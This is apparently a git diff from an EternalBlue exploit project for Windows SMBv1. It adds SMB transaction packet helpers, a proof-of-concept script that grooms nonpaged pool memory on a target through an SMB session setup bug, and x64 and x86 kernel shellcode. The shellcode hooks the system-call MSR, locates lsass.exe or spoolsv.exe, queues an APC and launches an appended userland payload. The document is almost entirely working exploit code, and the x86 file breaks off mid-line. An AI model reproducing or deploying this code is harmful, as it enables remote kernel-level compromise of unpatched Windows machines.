paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False): + self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad)) + + def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False): + if maxSetupCount is None: + maxSetupCount = len(setup) + if totalParameterCount is None: + totalParameterCount = len(param) + if totalDataCount is None: + totalDataCount = len(data) + if maxParameterCount is None: + maxParameterCount = totalParameterCount + if maxDataCount is None: + maxDataCount = totalDataCount + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) + transCmd['Parameters'] = smb.SMBNTTransaction_Parameters() + transCmd['Parameters']['MaxSetupCount'] = maxSetupCount + transCmd['Parameters']['TotalParameterCount'] = totalParameterCount + transCmd['Parameters']['TotalDataCount'] = totalDataCount + transCmd['Parameters']['MaxParameterCount'] = maxParameterCount + transCmd['Parameters']['MaxDataCount'] = maxDataCount + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['Function'] = function + transCmd['Parameters']['Setup'] = setup + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid) + + def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False): + self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad)) + return self.recvSMB() + + def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False): + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY) + transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters() + transCmd['Parameters']['TotalParameterCount'] = len(param) + transCmd['Parameters']['TotalDataCount'] = len(data) + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['DataDisplacement'] = dataDisplacement + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid) + + def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False): + self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad)) + + def recv_transaction_data(self, mid, minLen): + data = '' + while len(data) < minLen: + recvPkt = self.recvSMB() + if recvPkt['Mid'] != mid: + continue + resp = smb.SMBCommand(recvPkt['Data'][0]) + data += resp['Data'][1:] # skip padding + #print(len(data)) + return data + diff --git a/npp_control.py b/npp_control.py new file mode 100644 index 0000000..90f26ce --- /dev/null +++ b/npp_control.py @@ -0,0 +1,55 @@ +#!/usr/bin/python +from impacket import smb +from mysmb import MYSMB +from struct import pack +import sys + +''' +PoC: demonstrates controlling large nonpaged pool allocation with SMB_COM_SESSION_SETUP_ANDX bug + +Note: The PoC does not support user authentication +''' + + +if len(sys.argv) != 2: + print("{} ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] + +conn = MYSMB(target, use_ntlmv2=False) + +_, flags2 = conn.get_flags() + +# FLAGS2_EXTENDED_SECURITY MUST not be set +flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY + +# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 +flags2 |= smb.SMB.FLAGS2_UNICODE +conn.set_flags(flags2=flags2) + +pkt = smb.NewSMBPacket() + +sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) +sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() +sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value +sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value +sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero +sessionSetup['Parameters']['SessionKey'] = 0 +sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session +# UnicodePasswordLen field is in Reserved for extended security format. +sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS + +# allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes) +sessionSetup['Data'] = pack(' 5 minutes) to +; get call because system call is called on other processors. +; - The shellcode do not allocate shadow stack if possible for minimal shellcode size. +; It is ok because some Windows function does not require shadow stack. +; - The userland payload MUST be appened to this shellcode. +; +; Reference: +; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info) +; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c + +BITS 64 +ORG 0 + + +PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78 +PSGETPROCESSID_HASH EQU 0x170114e1 +PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f +LSASS_EXE_HASH EQU 0xc1fa6a5a +SPOOLSV_EXE_HASH EQU 0x3ee083d8 +ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea +KEINITIALIZEAPC_HASH EQU 0x6d195cc4 +KEINSERTQUEUEAPC_HASH EQU 0xafcc4634 +PSGETPROCESSPEB_HASH EQU 0xb818b848 +CREATETHREAD_HASH EQU 0x835e515e + + + +DATA_PEB_ADDR_OFFSET EQU -0x10 +DATA_QUEUEING_KAPC_OFFSET EQU -0x8 +DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0 +DATA_NT_KERNEL_ADDR_OFFSET EQU 0x8 +DATA_KAPC_OFFSET EQU 0x10 + +section .text +global shellcode_start + +shellcode_start: + +setup_syscall_hook: + ; IRQL is DISPATCH_LEVEL when got code execution + +%ifdef WIN7 + mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument + ; set nByteProcessed to free corrupted buffer after return + mov ecx, [rdx+0x2c] + mov [rdx+0x38], ecx +%elifdef WIN8 + mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument + ; fix pool pointer (rcx is -0x8150 from controlled argument value) + add rcx, rdx + mov [rdx+0x30], rcx + ; set nByteProcessed to free corrupted buffer after return + mov ecx, [rdx+0x48] + mov [rdx+0x40], ecx +%endif + + push rbp + + call set_rbp_data_address_fn + + ; read current syscall + mov ecx, 0xc0000082 + rdmsr + ; do NOT replace saved original syscall address with hook syscall + lea r9, [rel syscall_hook] + cmp eax, r9d + je _setup_syscall_hook_done + + ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize + cmp dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax + je _hook_syscall + + ; save original syscall + mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4], edx + mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax + + ; first time on the target + mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], 0 + +_hook_syscall: + ; set a new syscall on running processor + ; setting MSR 0xc0000082 affects only running processor + xchg r9, rax + push rax + pop rdx ; mov rdx, rax + shr rdx, 32 + wrmsr + +_setup_syscall_hook_done: + pop rbp + +%ifdef WIN7 + xor eax, eax +%elifdef WIN8 + xor eax, eax +%endif + ret + +;======================================================================== +; Find memory address in HAL heap for using as data area +; Return: rbp = data address +;======================================================================== +set_rbp_data_address_fn: + ; On idle target without user application, syscall on hijacked processor might not be called immediately. + ; Find some address to store the data, the data in this address MUST not be modified + ; when exploit is rerun before syscall is called + lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000] +_set_rbp_data_address_fn_next: + shr rbp, 12 + shl rbp, 12 + sub rbp, 0x70 ; for KAPC struct too + ret + + +syscall_hook: + swapgs + mov qword [gs:0x10], rsp + mov rsp, qword [gs:0x1a8] + push 0x2b + push qword [gs:0x10] + + push rax ; want this stack space to store original syscall addr + ; save rax first to make this function continue to real syscall + push rax + push rbp ; save rbp here because rbp is special register for accessing this shellcode data + call set_rbp_data_address_fn + mov rax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET] + add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler + mov [rsp+0x10], rax + + ; save all volatile registers + push rcx + push rdx + push r8 + push r9 + push r10 + push r11 + + ; use lock cmpxchg for queueing APC only one at a time + xor eax, eax + mov dl, 1 + lock cmpxchg byte [rbp+DATA_QUEUEING_KAPC_OFFSET], dl + jnz _syscall_hook_done + + ;====================================== + ; restore syscall + ;====================================== + ; an error after restoring syscall should never occur + mov ecx, 0xc0000082 + mov eax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET] + mov edx, [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4] + wrmsr + + ; allow interrupts while executing shellcode + sti + call r3_to_r0_start + cli + +_syscall_hook_done: + pop r11 + pop r10 + pop r9 + pop r8 + pop rdx + pop rcx + pop rbp + pop rax + ret + +r3_to_r0_start: + ; save used non-volatile registers + push r15 + push r14 + push rdi + push rsi + push rbx + push rax ; align stack by 0x10 + + ;====================================== + ; find nt kernel address + ;====================================== + mov r15, qword [rbp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiSystemCall64 is an address in nt kernel + shr r15, 0xc ; strip to page size + shl r15, 0xc + +_x64_find_nt_walk_page: + sub r15, 0x1000 ; walk along page size + cmp word [r15], 0x5a4d ; 'MZ' header + jne _x64_find_nt_walk_page + + ; save nt address for using in KernelApcRoutine + mov [rbp+DATA_NT_KERNEL_ADDR_OFFSET], r15 + + ;====================================== + ; get current EPROCESS and ETHREAD + ;====================================== + mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR + mov edi, PSGETCURRENTPROCESS_HASH + call win_api_direct + xchg rcx, rax ; rcx = EPROCESS + + ; r15 : nt kernel address + ; r14 : ETHREAD + ; rcx : EPROCESS + + ;====================================== + ; find offset of EPROCESS.ImageFilename + ;====================================== + mov edi, PSGETPROCESSIMAGEFILENAME_HASH + call get_proc_addr + mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f) + mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename + + + ;====================================== + ; find offset of EPROCESS.ThreadListHead + ;====================================== + ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+) + ; if offset of ImageFilename is more than 0x400, current is (Win8+) +%ifdef WIN7 + lea rdx, [rax+0x28] +%elifdef WIN8 + lea rdx, [rax+0x38] +%else + cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename + jb _find_eprocess_threadlist_offset_win7 + add eax, 0x10 +_find_eprocess_threadlist_offset_win7: + lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead +%endif + + + ;====================================== + ; find offset of ETHREAD.ThreadListEntry + ;====================================== +%ifdef COMPACT + lea r9, [rcx+rdx] ; r9 = ETHREAD listEntry +%else + lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead + mov r9, r8 +%endif + ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700 +_find_ethread_threadlist_offset_loop: + mov r9, qword [r9] +%ifndef COMPACT + cmp r8, r9 ; check end of list + je _insert_queue_apc_done ; not found !!! +%endif + ; if (r9 - r14 < 0x700) found + mov rax, r9 + sub rax, r14 + cmp rax, 0x700 + ja _find_ethread_threadlist_offset_loop + sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry) + + + ;====================================== + ; find offset of EPROCESS.ActiveProcessLinks + ;====================================== + mov edi, PSGETPROCESSID_HASH + call get_proc_addr + mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f) + add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId) + + + ;====================================== + ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock + ;====================================== + ; check process name +_find_target_process_loop: + lea rsi, [rcx+rbx] + call calc_hash + cmp eax, LSASS_EXE_HASH ; "lsass.exe" +%ifndef COMPACT + jz found_target_process + cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe" +%endif + jz found_target_process + ; next process + mov rcx, [rcx+rdi] + sub rcx, rdi + jmp _find_target_process_loop + + +found_target_process: + ; The allocation for userland payload will be in KernelApcRoutine. + ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess() + + ;====================================== + ; save process PEB for finding CreateThread address in kernel KAPC routine + ;====================================== + mov edi, PSGETPROCESSPEB_HASH + ; rcx is EPROCESS. no need to set it. + call win_api_direct + mov [rbp+DATA_PEB_ADDR_OFFSET], rax + + + ;====================================== + ; iterate ThreadList until KeInsertQueueApc() success + ;====================================== + ; r15 = nt + ; r14 = -(offset of ETHREAD.ThreadListEntry) + ; rcx = EPROCESS + ; edx = offset of EPROCESS.ThreadListHead + +%ifdef COMPACT + lea rbx, [rcx + rdx] +%else + lea rsi, [rcx + rdx] ; rsi = ThreadListHead address + mov rbx, rsi ; use rbx for iterating thread +%endif + + + ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset. + ; Moreover, alertable thread need to be waiting state which is more difficult to check. + ; try queueing APC then check KAPC member is more reliable. + +_insert_queue_apc_loop: + ; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL + ; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue + ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front + mov rbx, [rbx+8] +%ifndef COMPACT + cmp rsi, rbx + je _insert_queue_apc_loop ; skip list head +%endif + + ; KeInitializeApc(PKAPC, + ; PKTHREAD, + ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), + ; PKKERNEL_ROUTINE = kernel_apc_routine, + ; PKRUNDOWN_ROUTINE = NULL, + ; PKNORMAL_ROUTINE = userland_shellcode, + ; KPROCESSOR_MODE = UserMode (1), + ; PVOID Context); + lea rcx, [rbp+DATA_KAPC_OFFSET] ; PAKC + xor r8, r8 ; OriginalApcEnvironment + lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine + push rbp ; context + push 1 ; UserMode + push rbp ; userland shellcode (MUST NOT be NULL) + push r8 ; NULL + lea rdx, [rbx + r14] ; ETHREAD + sub rsp, 0x20 ; shadow stack + mov edi, KEINITIALIZEAPC_HASH + call win_api_direct + ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later + + ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0); + ; SystemArgument1 is second argument in usermode code (rdx) + ; SystemArgument2 is third argument in usermode code (r8) + lea rcx, [rbp+DATA_KAPC_OFFSET] + ;xor edx, edx ; no need to set it here + ;xor r8, r8 ; no need to set it here + xor r9, r9 + mov edi, KEINSERTQUEUEAPC_HASH + call win_api_direct + add rsp, 0x40 + ; if insertion failed, try next thread + test eax, eax + jz _insert_queue_apc_loop + + mov rax, [rbp+DATA_KAPC_OFFSET+0x10] ; get KAPC.ApcListEntry + ; EPROCESS pointer 8 bytes + ; InProgressFlags 1 byte + ; KernelApcPending 1 byte + ; if success, UserApcPending MUST be 1 + cmp byte [rax+0x1a], 1 + je _insert_queue_apc_done + + ; manual remove list without lock + mov [rax], rax + mov [rax+8], rax + jmp _insert_queue_apc_loop + +_insert_queue_apc_done: + ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine. + +_r3_to_r0_done: + pop rax + pop rbx + pop rsi + pop rdi + pop r14 + pop r15 + ret + +;======================================================================== +; Call function in specific module +; +; All function arguments are passed as calling normal function with extra register arguments +; Extra Arguments: r15 = module pointer +; edi = hash of target function name +;======================================================================== +win_api_direct: + call get_proc_addr + jmp rax + + +;======================================================================== +; Get function address in specific module +; +; Arguments: r15 = module pointer +; edi = hash of target function name +; Return: eax = offset +;======================================================================== +get_proc_addr: + ; Save registers + push rbx + push rcx + push rsi ; for using calc_hash + + ; use rax to find EAT + mov eax, dword [r15+60] ; Get PE header e_lfanew + mov eax, dword [r15+rax+136] ; Get export tables RVA + + add rax, r15 + push rax ; save EAT + + mov ecx, dword [rax+24] ; NumberOfFunctions + mov ebx, dword [rax+32] ; FunctionNames + add rbx, r15 + +_get_proc_addr_get_next_func: + ; When we reach the start of the EAT (we search backwards), we hang or crash + dec ecx ; decrement NumberOfFunctions + mov esi, dword [rbx+rcx*4] ; Get rva of next module name + add rsi, r15 ; Add the modules base address + + call calc_hash + + cmp eax, edi ; Compare the hashes + jnz _get_proc_addr_get_next_func ; try the next function + +_get_proc_addr_finish: + pop rax ; restore EAT + mov ebx, dword [rax+36] + add rbx, r15 ; ordinate table virtual address + mov cx, word [rbx+rcx*2] ; desired functions ordinal + mov ebx, dword [rax+28] ; Get the function addresses table rva + add rbx, r15 ; Add the modules base address + mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA + add rax, r15 ; Add the modules base address to get the functions actual VA + + pop rsi + pop rcx + pop rbx + ret + +;======================================================================== +; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode. +; +; Argument: rsi = string to hash +; Clobber: rsi +; Return: eax = hash +;======================================================================== +calc_hash: + push rdx + xor eax, eax + cdq +_calc_hash_loop: + lodsb ; Read in the next byte of the ASCII string + ror edx, 13 ; Rotate right our hash value + add edx, eax ; Add the next byte of the string + test eax, eax ; Stop when found NULL + jne _calc_hash_loop + xchg edx, eax + pop rdx + ret + + +; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context. +; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery(). +; Moreover, there is no lock when calling KernelApcRoutine. +; So KernelApcRoutine can simply lower the IRQL by setting cr8 register. +; +; VOID KernelApcRoutine( +; IN PKAPC Apc, +; IN PKNORMAL_ROUTINE *NormalRoutine, +; IN PVOID *NormalContext, +; IN PVOID *SystemArgument1, +; IN PVOID *SystemArgument2) +kernel_kapc_routine: + push rbp + push rbx + push rdi + push rsi + push r15 + + mov rbp, [r8] ; *NormalContext is our data area pointer + + mov r15, [rbp+DATA_NT_KERNEL_ADDR_OFFSET] + push rdx + pop rsi ; mov rsi, rdx + mov rbx, r9 + + ;====================================== + ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40) + ;====================================== + xor eax, eax + mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires) + ; rdx is already address of baseAddr + mov [rdx], rax ; baseAddr = 0 + mov ecx, eax + not rcx ; ProcessHandle = -1 + mov r8, rax ; ZeroBits + mov al, 0x40 ; eax = 0x40 + push rax ; PAGE_EXECUTE_READWRITE = 0x40 + shl eax, 6 ; eax = 0x40 << 6 = 0x1000 + push rax ; MEM_COMMIT = 0x1000 + ; reuse r9 for address of RegionSize + mov [r9], rax ; RegionSize = 0x1000 + sub rsp, 0x20 ; shadow stack + mov edi, ZWALLOCATEVIRTUALMEMORY_HASH + call win_api_direct + add rsp, 0x30 +%ifndef COMPACT + ; check error + test eax, eax + jnz _kernel_kapc_routine_exit +%endif + + ;====================================== + ; copy userland payload + ;====================================== + mov rdi, [rsi] + lea rsi, [rel userland_start] + mov ecx, 0x600 ; fix payload size to 1536 bytes + rep movsb + + ;====================================== + ; find CreateThread address (in kernel32.dll) + ;====================================== + mov rax, [rbp+DATA_PEB_ADDR_OFFSET] + mov rax, [rax + 0x18] ; PEB->Ldr + mov rax, [rax + 0x20] ; InMemoryOrder list + +%ifdef COMPACT + mov rsi, [rax] ; first one always be executable, skip it + lodsq ; skip ntdll.dll +%else +_find_kernel32_dll_loop: + mov rax, [rax] ; first one always be executable + ; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll) + ; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll) + ; offset 0x50 => is name + ; offset 0x20 => is dllbase + ;cmp word [rax+0x38], 0x40 + ;jne _find_kernel32_dll_loop + cmp word [rax+0x48], 0x18 + jne _find_kernel32_dll_loop + + mov rdx, [rax+0x50] + ; check only "32" because name might be lowercase or uppercase + cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00 + jnz _find_kernel32_dll_loop +%endif + + mov r15, [rax+0x20] + mov edi, CREATETHREAD_HASH + call get_proc_addr + + ; save CreateThread address to SystemArgument1 + mov [rbx], rax + +_kernel_kapc_routine_exit: + xor ecx, ecx + ; clear queueing kapc flag, allow other hijacked system call to run shellcode + mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl + ; restore IRQL to APC_LEVEL + mov cl, 1 + mov cr8, rcx + + pop r15 + pop rsi + pop rdi + pop rbx + pop rbp + ret + + +userland_start: +userland_start_thread: + ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL) + xchg rdx, rax ; rdx is CreateThread address passed from kernel + xor ecx, ecx ; lpThreadAttributes = NULL + push rcx ; lpThreadId = NULL + push rcx ; dwCreationFlags = 0 + mov r9, rcx ; lpParameter = NULL + lea r8, [rel userland_payload] ; lpStartAddr + mov edx, ecx ; dwStackSize = 0 + sub rsp, 0x20 + call rax + add rsp, 0x30 + ret + +userland_payload: diff --git a/shellcode/eternalblue_kshellcode_x86.asm b/shellcode/eternalblue_kshellcode_x86.asm new file mode 100644 index 0000000..5e6b266 --- /dev/null +++ b/shellcode/eternalblue_kshellcode_x86.asm @@ -0,0 +1,568 @@ +; +; Windows x86 kernel shellcode from ring 0 to ring 3 by sleepya +; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py +; +; +; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0) +; +; +; Note: +; - The userland shellcode is run in a new thread of system process. +; If userland shellcode causes any exception, the system process get killed. +; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to +; get call because system call is called on other processors. +; - The userland payload MUST be appened to this shellcode. +; +; Reference: +; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info) +; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c + +BITS 32 +ORG 0 + + +PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78 +PSGETPROCESSID_HASH EQU 0x170114e1 +PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f +LSASS_EXE_HASH EQU 0xc1fa6a5a +SPOOLSV_EXE_HASH EQU 0x3ee083d8 +ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea +KEINITIALIZEAPC_HASH EQU 0x6d195cc4 +KEINSERTQUEUEAPC_HASH EQU 0xafcc4634 +PSGETPROCESSPEB_HASH EQU 0xb818b848 +CREATETHREAD_HASH EQU 0x835e515e + + + +DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0 +DATA_MODULE_ADDR_OFFSET EQU 0x4 +DATA_QUEUEING_KAPC_OFFSET EQU 0x8 +DATA_EPROCESS_OFFSET EQU 0xc +DATA_KAPC_OFFSET EQU 0x10 + +section .text +global shellcode_start + +shellcode_start: + +setup_syscall_hook: + ; IRQL is DISPATCH_LEVEL when got code execution +%ifdef WIN7 + mov eax, [esp+0x20] ; fetch SRVNET_BUFFER address from function argument + ; set nByteProcessed to free corrupted buffer after return + mov ecx, [eax+0x14] + mov [eax+0x1c], ecx +%elifdef WIN8 +%endif + + pushad + + call _setup_syscall_hook_find_eip +_setup_syscall_hook_find_eip: + pop ebx + + call set_ebp_data_address_fn + + ; read current syscall + mov ecx, 0x176 + rdmsr + ; do NOT replace saved original syscall address with hook syscall + lea edi, [ebx+syscall_hook-_setup_syscall_hook_find_eip] + cmp eax, edi + je _setup_syscall_hook_done + + ; if (saved_original_syscall != &KiFastCallEntry) do_first_time_initialize + cmp dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax + je _hook_syscall + + ; save original syscall + mov dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax + + ; first time on the target, clear the data area + ; edx should be zero from rdmsr + mov dword [ebp+DATA_QUEUEING_KAPC_OFFSET], edx + +_hook_syscall: + ; set a new syscall on running processor + ; setting MSR 0x176 affects only running processor + mov eax, edi + xor edx, edx + wrmsr + +_setup_syscall_hook_done: + popad +%ifdef WIN7 + xor eax, eax +%elifdef WIN8 + xor eax, eax +%endif + ret 0x24 + +;======================================================================== +; Find memory address in HAL heap for using as data area +; Arguments: ebx = any address in this shellcode +; Return: ebp = data address +;======================================================================== +set_ebp_data_address_fn: + ; On idle target without user application, syscall on hijacked processor might not be called immediately. + ; Find some address to store the data, the data in this address MUST not be modified + ; when exploit is rerun before syscall is called + lea ebp, [ebx + 0x1000] + shr ebp, 12 + shl ebp, 12 + sub ebp, 0x50 ; for KAPC struct too + ret + + +syscall_hook: + mov ecx, 0x23 + push 0x30 + pop fs + mov ds,cx + mov es,cx + mov ecx, dword [fs:0x40] + mov esp, dword [ecx+4] + + push ecx ; want this stack space to store original syscall addr + pushfd + pushad + + call _syscall_hook_find_eip +_syscall_hook_find_eip: + pop ebx + + call set_ebp_data_address_fn + mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET] + + add eax, 0x17 ; adjust syscall entry, so we do not need to reverse start of syscall handler + mov [esp+0x24], eax ; 0x4 (pushfd) + 0x20 (pushad) = 0x24 + + ; use lock cmpxchg for queueing APC only one at a time + xor eax, eax + cdq + inc edx + lock cmpxchg byte [ebp+DATA_QUEUEING_KAPC_OFFSET], dl + jnz _syscall_hook_done + + ;====================================== + ; restore syscall + ;====================================== + ; an error after restoring syscall should never occur + mov ecx, 0x176 + cdq + mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET] + wrmsr + + ; allow interrupts while executing shellcode + sti + call r3_to_r0_start + cli + +_syscall_hook_done: + popad + popfd + ret + +r3_to_r0_start: + ;====================================== + ; find nt kernel address + ;====================================== + mov eax, dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiFastCallEntry is an address in nt kernel + shr eax, 0xc ; strip to page size + shl eax, 0xc + +_find_nt_walk_page: + sub eax, 0x1000 ; walk along page size + cmp word [eax], 0x5a4d ; 'MZ' header + jne _find_nt_walk_page + + ; save nt address + mov [ebp+DATA_MODULE_ADDR_OFFSET], eax + + ;====================================== + ; get current EPROCESS and ETHREAD + ;====================================== + mov eax, PSGETCURRENTPROCESS_HASH + call win_api_direct + xchg edi, eax ; edi = EPROCESS + + ;====================================== + ; find offset of EPROCESS.ImageFilename + ;====================================== + mov eax, PSGETPROCESSIMAGEFILENAME_HASH + push edi + call win_api_direct + sub eax, edi + mov ecx, eax ; ecx = offset of EPROCESS.ImageFilename + + ;====================================== + ; find offset of EPROCESS.ThreadListHead + ;====================================== + ; possible diff from ImageFilename offset is 0x1c and 0x24 (Win8+) + ; if offset of ImageFilename is 0x170, current is (Win8+) +%ifdef WIN7 + lea ebx, [eax+0x1c] +%elifdef WIN8 + lea ebx, [eax+0x24] +%else + cmp eax, 0x170 ; eax is still an offset of EPROCESS.ImageFilename + jne _find_eprocess_threadlist_offset_win7 + add eax, 0x8 +_find_eprocess_threadlist_offset_win7: + lea ebx, [eax+0x1c] ; ebx = offset of EPROCESS.ThreadListHead +%endif + + + ;====================================== + ; find offset of ETHREAD.ThreadListEntry + ;====================================== + ; edi = EPROCESS + ; ebx = offset of EPROCESS.ThreadListHead + lea esi, [edi+ebx] ; esi = address of EPROCESS.ThreadListHead + mov eax, dword [fs:0x124] ; get _ETHREAD pointer from KPCR + ; ETHREAD.ThreadListEntry must be between ETHREAD (eax) and ETHREAD+0x400 +_find_ethread_threadlist_offset_loop: + mov esi, dword [esi] + ; if (esi - edi < 0x400) found + mov edx, esi + sub edx, eax + cmp edx, 0x400 + ja _find_ethread_threadlist_offset_loop ; need unsigned comparison + push edx ; save offset of ETHREAD.ThreadListEntry to stack + + + ;====================================== + ; find offset of EPROCESS.ActiveProcessLinks + ;====================================== + mov eax, PSGETPROCESSID_HASH + call get_proc_addr + mov eax, dword [eax+0xa] ; get offset from code (offset of UniqueProcessId is always > 0x7f) + lea edx, [eax+4] ; edx = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId) + + ;====================================== + ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock + ;====================================== + ; edi = EPROCESS + ; ecx = offset of EPROCESS.ImageFilename + ; edx = offset of EPROCESS.ActiveProcessLinks +_find_target_process_loop: + lea esi, [edi+ecx] + call calc_hash + cmp eax, LSASS_EXE_HASH ; "lsass.exe" + jz found_target_process +%ifndef COMPACT + cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe" + jz found_target_process +%endif + ; next process + mov edi, [edi+edx] + sub edi, edx + jmp _find_target_process_loop + + +found_target_process: + ; The allocation for userland payload will be in KernelApcRoutine. + ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess() + + ;====================================== + ; save EPROCESS for finding CreateThread address in kernel KAPC routine + ;====================================== + mov [ebp+DATA_EPROCESS_OFFSET], edi + + + ;====================================== + ; iterate ThreadList until KeInsertQueueApc() success + ;====================================== + ; edi = EPROCESS + ; ebx = offset of EPROCESS.ThreadListHead + + lea ebx, [edi+ebx] ; use ebx for iterating thread + lea esi, [ebp+DATA_KAPC_OFFSET] ; esi = KAPC address + pop edi ; edi = offset of ETHREAD.ThreadListEntry + + + ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset. + ; Moreover, alertable thread need to be waiting state which is more difficult to check. + ; try queueing APC then check KAPC member is more reliable. + +_insert_queue_apc_loop: + ; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL + ; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue + ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front + mov ebx, [ebx+4] + ; no 